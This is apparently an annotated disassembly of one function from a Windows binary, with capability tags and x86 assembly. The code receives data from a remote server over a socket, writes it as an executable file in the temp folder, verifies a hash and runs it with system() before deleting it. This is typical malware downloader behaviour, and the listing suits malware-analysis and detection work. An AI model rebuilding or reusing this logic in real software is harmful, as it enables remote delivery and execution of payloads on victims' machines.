Function at 0x8075b2
Capabilities:
Delete file
Download and write a file
Execute command
Get common file path
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x2ec
push ebx
push esi
push edi
xor edi, edi
push 0x40
lea eax, [ebp - 0x20]
push edi
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 0x7c]
mov esi, dword [sym.imp.WS2_32.dll_recv]
add esp, 0xc
push 0
push 0x40
pop eax
sub eax, edi
push eax
lea eax, [ebp + edi - 0x20]
push eax
push dword [ebx + 4]
call esi
test eax, eax
jle 0x8077d0
add edi, eax
cmp edi, 0x40
jl 0x8075da
lea eax, [ebp - 0x120]
mov edi, 0x100
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x807641
mov al, byte [ebp + eax - 0x121]
cmp al, 0x5c
je 0x807641
cmp al, 0x2f
je 0x807641
lea eax, [ebp - 0x120]
push 0x801360
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x65
push 0x78
push 0x65
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [ebp - 0x120]
push 0x802780
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x120]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x120]
push 0x802774
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x20
mov dword [ebp + 0x70], eax
test eax, eax
je 0x8077d0
jmp 0x8076a6
push eax
lea eax, [ebp - 0x278]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push 0
lea eax, [ebp - 0x278]
push edi
push eax
push dword [ebx + 4]
call esi
push dword [ebp + 0x70]
test eax, eax
jg 0x807693
call dword [sym.imp.MSVCRT.dll_fclose]
xor esi, esi
push 0x40
lea eax, [ebp + 0x20]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x8026e8
lea eax, [ebp - 0x20]
push 0x802728
push eax
lea eax, [ebp + 0x20]
push eax
call fcn.00807101
add esp, 0x20
cmp dword [ebp + 0x48], 0x30303030
lea eax, [ebp - 0x120]
jne 0x8077c9
push 0x802770
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov ebx, eax
pop ecx
push dword [ebp + 0x4c]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + 0x4c], eax
lea eax, [ebp - 0x178]
push eax
call fcn.00806cd1
mov eax, dword [ebp + 0x4c]
pop ecx
test eax, eax
jle 0x80776d
sub eax, esi
cmp eax, edi
jbe 0x807735
mov eax, edi
push ebx
push eax
lea eax, [ebp - 0x278]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
test eax, eax
jle 0x80776d
add esi, eax
push eax
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.00806e83
mov eax, dword [ebp + 0x4c]
add esp, 0xc
cmp esi, eax
jl 0x80772d
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp + 0x60]
push eax
call fcn.00806f2b
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp + 0x50]
push 0x10
push eax
lea eax, [ebp + 0x60]
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0x18
test eax, eax
lea eax, [ebp - 0x120]
push eax
jne 0x8077ca
lea eax, [ebp - 0x278]
push 0x802778
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.MSVCRT.dll_system]
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret